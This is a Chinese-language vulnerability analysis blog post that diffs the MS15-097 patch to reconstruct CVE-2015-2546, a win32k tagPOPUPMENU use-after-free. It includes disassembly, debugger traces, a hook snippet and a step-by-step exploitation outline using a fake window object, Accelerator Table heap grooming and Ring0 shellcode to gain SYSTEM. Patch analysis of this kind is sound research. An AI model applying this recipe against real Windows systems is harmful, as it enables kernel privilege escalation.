本月微软安全公告MS15-097修复了Microsoft Graphics组件中多个内核漏洞。其中Win32k内存损坏特权提升漏洞：CVE-2015-2546（https://technet.microsoft.com/zh-CN/library/security/ms15-097.aspx）引起了笔者的注意。该漏洞是FireEye在9月8日发布的一份攻击报告（https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/twoforonefinal.pdf）中发现的，攻击者利用该漏洞可获得系统SYSTEM权限。
查看微软公告对该漏洞的描述：“如果 Windows 内核模式驱动程序不正确地处理内存中的对象，则 Windows 中存在多个特权提升漏洞。成功利用这些漏洞的攻击者可以在内核模式下运行任意代码。”没有太多有效信息，笔者遂尝试通过补丁比对来还原这个漏洞的细节。
CVE-2015-2546影响从win7 ~win10的众多windows版本。鉴于win7上win32k的符号比较齐全，笔者选择安装win7 sp1 32位系统的补丁进行比对。
PatchDiff2得到的结果：
分析到xxxMNMouseMove函数所做的更改：
补丁代码很直观，在xxxSendMessage调用完成之后多了一处检查。
研究过win32k内部机制可知：对于MenuWindow，tagWND+0xB0处存放的是其pPopupMenu的指针。因此这几句是检查回调之后tagMENUWND-> pPopupMenu是否被修改。
FireEye的报告中明确提到：CVE-2015-2546是一个tagPOPUPMENU对象的UAF。至此，笔者确定该漏洞的缺陷函数就是xxxMNMouseMove。
进一步分析xxxMNHideNextHierarchy函数之后，笔者得出整个漏洞的触发流程：在xxxMNMouseMove函数中，xxxSendMessage(pwnd, 0x1F0,…)发起了一次用户模式回调。在这次回调中，攻击者可以销毁Menu窗口从而释放tagPOPUPMENU对象并占位重用。当回调返回内核之后，补丁前的xxxMNmouseMove并没有对已释放的pPopupMenu进行验证。之后pPopupMenu被传入xxxMNHideNextHierarchy，xxxMNHideNextHierarchy会对tagPOPUPMENU.spwndNextPopup发送消息：
.text:BF91C0AA __stdcall xxxMNHideNextHierarchy(x) proc near .text:BF91C0AA ; CODE XREF: xxxMNButtonDown(x,x,x,x)+62p .text:BF91C0AA ; xxxMNMouseMove(x,x,x)+18Ep .text:BF91C0AA .text:BF91C0AA ptl = dword ptr -0Ch .text:BF91C0AA var_8 = dword ptr -8 .text:BF91C0AA pPopupMenu = dword ptr 8 .text:BF91C0AA .text:BF91C0AA mov edi, edi .text:BF91C0AC push ebp .text:BF91C0AD mov ebp, esp .text:BF91C0AF mov ecx, [ebp+pPopupMenu] .text:BF91C0B2 sub esp, 0Ch .text:BF91C0B5 push esi .text:BF91C0B6 mov esi, [ecx+tagPOPUPMENU.spwndNextPopup] .text:BF91C0B9 test esi, esi .text:BF91C0BB jz short loc_BF91C104 .text:BF91C0BD mov eax, _gptiCurrent .text:BF91C0C2 add eax, 0B4h ; pTL .text:BF91C0C7 mov edx, [eax] .text:BF91C0C9 mov [ebp+ptl], edx .text:BF91C0CC lea edx, [ebp+ptl] .text:BF91C0CF mov [eax], edx .text:BF91C0D1 mov [ebp+var_8], esi .text:BF91C0D4 inc [esi+tagWND.head.cLockObj] .text:BF91C0D7 cmp esi, [ecx+tagPOPUPMENU.spwndActivePopup] .text:BF91C0DA jz short loc_BF91C0EB .text:BF91C0DC push 0 ; NumberOfBytes .text:BF91C0DE push 0 ; MbString .text:BF91C0E0 push 1E4h ; int .text:BF91C0E5 push esi ; tagPOPUPMENU.spwndNextPopup .text:BF91C0E6 call xxxSendMessage(x,x,x,x)
攻击者创建合适的对象占用被释放的tagPOPUPMENU内存，构造好tagPOPUPMENU.spwndNextPopup的数据，即可达成内核任意代码执行。
随后，笔者尝试构造POC来实现上述过程。
xxxMNMouseMove函数的工作原理：在PopupMenu的消息循环中，内核在消息队列中取到了WM_NCMOUSEMOVE消息；或者xxxMenuWindowProc收到了MN_MOUSEMOVE消息，win32k都会调用xxxMNMouseMove函数来进行处理。
因此
xxxTrackPopupMenuEx->xxxMNLoop->xxxHandleMenuMessage->xxxMNMouseMove xxxMenuWindowProc->xxxRealMenuWindowProc->xxxMNMouseMove xxxSysComman->xxxMNLoop->xxxHandleMenuMessage->xxxMNMouseMove //…
等都是有可能的
该选择哪条路径呢？ba e1 win32k!xxxMNMouseMove探索一番
在桌面弹出右键菜单的时候：
0: kd> kb ChildEBP RetAddr Args to Child 8d10ea8c 9036bbdb fe6c08e8 904557e0 0092002f win32k!xxxMNMouseMove 8d10eae8 9036b7b1 8d10eb08 904557e0 fe6c08e8 win32k!xxxHandleMenuMessages+0x2f2 8d10eb34 90371717 fe6c08e8 904557e0 00000000 win32k!xxxMNLoop+0x2fa 8d10eba0 90371802 fea19660 00000102 0000002f win32k!xxxTrackPopupMenuEx+0x5fd 8d10ec14 8288d1ea 001a01d3 00000102 0000002f win32k!NtUserTrackPopupMenuEx+0xc3 8d10ec14 76e370b4 001a01d3 00000102 0000002f nt!KiFastCallEntry+0x12a 0024e3ac 760e483e 760d2243 001a01d3 00000102 ntdll!KiFastSystemCallRet 0024e3b0 760d2243 001a01d3 00000102 0000002f USER32!NtUserTrackPopupMenuEx+0xc 0024e3d0 756272c9 001a01d3 00000102 0000002f USER32!TrackPopupMenu+0x1b
点击win32k窗口程序菜单：
0: kd> kb ChildEBP RetAddr Args to Child 92e2fa50 90dabbdb 90e95860 90e957e0 00e900de win32k!xxxMNMouseMove 92e2faac 90dab7b1 92e2facc 90e957e0 90e95860 win32k!xxxHandleMenuMessages+0x2f2 92e2faf8 90dbdd69 90e95860 90e957e0 00e900de win32k!xxxMNLoop+0x2fa 92e2fb28 90d1fcc5 fea0f2b0 0000f095 00e900de win32k!xxxSysCommand+0x4a5 92e2fba4 90d2d417 fea0f2b0 00000112 0000f095 win32k!xxxRealDefWindowProc+0xc00 92e2fbbc 90cf8117 fea0f2b0 00000112 0000f095 win32k!xxxWrapRealDefWindowProc+0x2b 92e2fbd8 90d2d2d3 fea0f2b0 00000112 0000f095 win32k!NtUserfnDWORD+0x27 92e2fc10 828551ea 00030152 00000112 0000f095 win32k!NtUserMessageCall+0xcf
看来执行到xxxMNMouseMove并不困难，但是笔者发现要执行到xxxSendMessage(pWnd, 0x1F0)就不容易了:
仔细分析xxxMNMouseMove函数代码
.text:BF93CDC6 loc_BF93CDC6: ; CODE XREF: xxxMNMouseMove(x,x,x)+12Dj .text:BF93CDC6 ; xxxMNMouseMove(x,x,x)+135j … .text:BF93CDC6 xor edi, edi .text:BF93CDC8 push edi ; NumberOfBytes .text:BF93CDC9 push [ebp+pPopupMenu] ; MbString .text:BF93CDCC push 1E5h ; int .text:BF93CDD1 push esi ; Address .text:BF93CDD2 call xxxSendMessage(x,x,x,x) .text:BF93CDD7 test al, 10h .text:BF93CDD9 jz short loc_BF93CE32 .text:BF93CDDB test al, 3 .text:BF93CDDD jnz short loc_BF93CE32 .text:BF93CDDF push edi ; NumberOfBytes .text:BF93CDE0 push edi ; MbString .text:BF93CDE1 push MN_SETTIMERTOOPENHIERARCHY ; int .text:BF93CDE6 push esi ; spwndPopupMenu .text:BF93CDE7 call xxxSendMessage(x,x,x,x) ; CallBack .text:BF93CDEC test eax, eax .text:BF93CDEE jnz short loc_BF93CE32 .text:BF93CDF0 push ebx ; fake_tagPopupMenu .text:BF93CDF1 call xxxMNHideNextHierarchy(x) ; Trigger
esi必须是一个窗口对象，而ebx必须是我们可以占位重用的PopupMenu
先看ebx的值从哪儿来：
.text:BF93CD67 mov eax, _gptiCurrent .text:BF93CD6C add eax, 0B4h .text:BF93CD71 mov ecx, [eax] .text:BF93CD73 mov [ebp+var_C], ecx .text:BF93CD76 lea ecx, [ebp+var_C] .text:BF93CD79 mov [eax], ecx .text:BF93CD7B mov [ebp+var_8], esi .text:BF93CD7E inc dword ptr [esi+4] .text:BF93CD81 mov edi, [edi+4] .text:BF93CD84 mov ebx, [ebx+0B0h] //sizeof(tagWND) = 0xac .text:BF93CD8A test edi, 100h .text:BF93CD90 jz short loc_BF93CDC6
0xB0刚好等于sizeof(tagWND) + 0x4，而ebx又是一个tagPOPUPMENU对象，那么在BF93CD84这句之前，ebx必须是一个MenuWnd!
再向前查看代码：
.text:BF93CD49 push esi .text:BF93CD4A call safe_cast_fnid_to_PMENUWND(x) .text:BF93CD4F push esi .text:BF93CD50 mov ebx, eax .text:BF93CD52 call IsWindowBeingDestroyed(x) .text:BF93CD57 test eax, eax .text:BF93CD59 jnz loc_BF93CE41 .text:BF93CD5F test ebx, ebx ; tagMENUWND .text:BF93CD61 jz loc_BF93CE41
IsWindowBeingDestroyed只是检查esi指向的pWnd状态，ebx的值来自于safe_cast_fnid_to_PMENUWND。
查看safe_cast_fnid_to_PMENUWND函数，只是检查pWnd->fnid，合适就将传入的pWnd指针原封返回。
继续追踪esi的来源，终于发现esi指向的窗口对象来自这里：
.text:BF93CCA1 push esi .text:BF93CCA2 mov [edi+0Ch], eax .text:BF93CCA5 push ecx ; screenPt .text:BF93CCA6 lea eax, [ebp+pPopupMenu] .text:BF93CCA9 push eax ; pIndex .text:BF93CCAA push ebx ; pPopupMenu .text:BF93CCAB call xxxMNFindWindowFromPoint(x,x,x) //得到MenuWnd指针 .text:BF93CCB0 mov esi, eax .text:BF93CCB2 push esi .text:BF93CCB3 call IsMFMWFPWindow(x)
然而笔者多次调试，发现这一步得到的返回值总是NULL：
1: kd> p win32k!xxxMNMouseMove+0x4d: 90dabfc7 8bf0 mov esi,eax 1: kd> r eax eax=00000000
冷静分析xxxMNFindWindowFromPoint函数，该函数实际上是根据当前鼠标的位置返回其指向的菜单窗口。然而，如果传入的pPopupMenu->fIsMenuBar为1，该函数返回的只能是0或0xFFFFFFFB，0xFFFFFFFF几个固定值。
查看一下我们传入的pPopupMenu:
1: kd> dt tagPOPUPMENU 90e95860 win32k!tagPOPUPMENU +0x000 fIsMenuBar : 0y1 +0x000 fHasMenuBar : 0y1 +0x000 fIsSysMenu : 0y0 //… +0x000 flockDelayedFree : 0y0 +0x004 spwndNotify : 0xfea0f2b0 tagWND +0x008 spwndPopupMenu : 0xfea0f2b0 tagWND
这里的tagPOPUPMENU对象一直是内核自动创建的，fIsMenuBar这个字段初始化时就被置为1。
不过笔者发现如果pPopupMenu->spwndNextPopup不为NULL，xxxMNFindWindowFromPoint会向这个窗口发送MN_FINDMENUWINDOWFROMPOINT消息：
.text:BF93CE9E push eax ; NumberOfBytes .text:BF93CE9F lea eax, [ebp+pPopupMenu] .text:BF93CEA2 push eax ; MbString .text:BF93CEA3 push MN_FINDMENUWINDOWFROMPOINT ; int .text:BF93CEA8 push dword ptr [edi+0Ch] ; Address .text:BF93CEAB call xxxSendMessage(x,x,x,x)
于是笔者想到可以通过消息钩子来控制这一步的返回值！
笔者编译了一个包含两级菜单的文档视图窗口程序，并且在消息钩子函数中替换了菜单窗口的默认WndProc：
LRESULT CALLBACK MyWndProc(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam) { if (Msg == 0x1EB) { // __asm int 3; return (LONG)g_hMenuWnd; } return DefWindowProc(hWnd, Msg, wParam, lParam); }
这样xxxMNFindWindowFromPoint返回的就是我们事先创建的MenuWindow对象了。
1: kd> g Breakpoint 1 hit win32k!xxxMNMouseMove+0x48: 90dabfc2 e8a8010000 call win32k!xxxMNFindWindowFromPoint (90dac16f) 1: kd> r eax eax=fe40f788 //pWnd 1: kd> dd fe40f788 + b0 l1 fe40f838 fe3e3588 //tagPOPUPMENU 1: kd> dt fe3e3588 tagPOPUPMENU win32k!tagPOPUPMENU +0x000 fIsMenuBar : 0y0 +0x000 fHasMenuBar : 0y0 +0x000 fIsSysMenu : 0y0 //… +0x004 spwndNotify : (null) +0x008 spwndPopupMenu : 0xfe40f788 指向PopupMenu所属的tagWND对象 +0x00c spwndNextPopup : (null) +0x010 spwndPrevPopup : (null)
后面执行到
这里xxxSendMessage(pWnd, 0x1E5, …)的返回值还得控制一下，否则一直返回0。
在MenuWindow的窗口函数中处理0x1E5消息：
if (Msg == 0x1E5) //MN_SELECTITEM { //控制返回值 return 0x10; }
终于能执行到xxxMNHideNextHierarchy了：
最后，笔者还原出CVE-2015-2546的利用过程如下：
- 创建一个有弹出式菜单的正常主窗口
- 在某个固定地址Addr1分配内存，并在Addr1上构造一个fake_tag WND。其中fake_tagWND->bServerSideWindowProc置为1，fake_tagWND->lpfnWndProc指向Ring0ShellCode。
- 用Accelerator Table对象制作出内存空洞。
- 创建类名为”#32768”的窗口MenuWindow1，并用SetWindowLong替换其WndProc。
- 创建消息钩子，并在HookProc中处理MN_FINDWINDOWFROMPOINT消息和MN_SETTIMERTOOPENHIERARCHY消息。
- 向主窗口发送WM_SYSCOMMAND消息或者模拟鼠标事件。
- 系统创建的正常菜单窗口收到MN_FINDWINDOWFROMPOINT消息，返回MenuWindow1的句柄。
- HookProc收到MN_SETTIMERTOOPENHIERARCHY消息，销毁MenuWindow1，并创建Accelerator Table对象占用tagPOPUPMENU释放的内存。
- Fake_tagWND收到0x1E4消息，执行Ring0ShellCode。
触发提权ShellCode：
利用成功截图
PS:其实这个漏洞并不一定非得用Accelerator Table占位，有更好的对象适合用来控制占位数据。攻击者使用Accelerator Table反而导致需要分配零页内存：最终执行到xxxSendMessageTimeOut时，fakePopupMenu->spwndNextPopup正是占位的tagACCELTABLE.cAccel的值。如果选择其他对象进行占位，完全可以在更高平台利用这个漏洞。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论